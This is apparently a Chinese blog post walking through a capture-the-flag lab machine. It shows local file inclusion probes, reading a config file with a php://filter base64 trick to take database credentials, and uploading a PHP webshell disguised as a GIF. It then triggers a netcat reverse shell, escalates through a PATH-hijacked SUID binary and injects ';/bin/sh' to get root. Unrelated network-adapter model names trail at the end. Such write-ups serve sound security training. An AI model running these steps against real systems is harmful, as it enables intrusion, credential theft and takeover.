date
Aug 5, 2021 12:02 PM
Related to 日程数据 1 (blog)
tags
slug
summary
icon
category
password
tip:
文件包含
信息收集
  1. ip add namp c段
  1. 开放端口 80 111 3306
  1. 浏览器无内容
  1. dirb扫描
  1. nitko -host http://192.168.1.19
  1. 发现/config.php
  1. 考虑url构造为http://192.168.1.19/?page=upload 可能存在文件包含漏洞
  1. 知识点
    1. 文件包含漏洞特征: ?page=a.php ?home=b.html ?file=content 检测方法: ?file=../../../../etc/passwd ?page=file:///etc/passwd ?home=main.cgi?page=http://www.a.com/1.phphttp://1.1.1.1/../../../../dir/file.txt
      php://filter参数详解:
      测试代码:

      读取文件

  1. curl http://192.168.1.19/?page=php://filter/convert.base64-encode/resource=config |base64 -d
  1. 获取到一串码 base64 解码获得 数据库的用户密码信息
  1. 登录查表
    1. 获取网页用户密码信息 mysql的information_schema也是很重要的表
    getshell
    1. php木马改名gif 上传 使用burp suite 的repeater 文件头加 GIF89A
    1. 无法运行远程木马
    1. 查看index的源码curl http://192.168.1.19/?page=php://filter/convert.base64-encode/resource=config |base64 -d 发现cookie 可以提供lang
    1. 修改cookie 添加路径lang=../xxxxxxxxxxxxx.gif
    1. 监听反弹shell nc -lvp 1234 send repeater后的cookie网页
    1. 获得shell su用户提示需要终端,利用python 启用远程终端
      提权
      1. 找suid文件find / -perm -u=s 2>/dev/null
      1. 发现msgmike执行发现调用cat
      1. 修改$PATH export PATH=.:$PATH echo "/bin/bash" >cat chmod +x cat
      1. 重新执行msgmike来调用cat中的bash命令实现提取到mike
      1. ls -l * 发现mike 有msg2root也有suid权限 file
      1. 执行msg2root发现 执行什么就显示什么类似echo 尝试拼接hello;/bin/sh
      1. 获取root的bash
      1. 在root的根目录中找到flag.txt
      总结
      靶机 => 主机端口探测 => web渗透 => 文件包含 => 得到数据库账号密码 => 在数据库中查到登录账号密码 => 查看源码 => 文件上传木马 => 通过Cookie文件包含 => 反弹shell => 切换账户 => 利用环境变量提权 => 找到flag
       
       
      Network Interface Controllers > 2.5G Gigabit Ethernet > USB 3.0
      RTL8156 / RTL8156B
       
      Network Interface Controllers > 10/100/1000M Gigabit Ethernet > USB 3.0
      RTL8153 / RTL8153B
      攻防世界web部分送别
      Loading...
      目录
      0%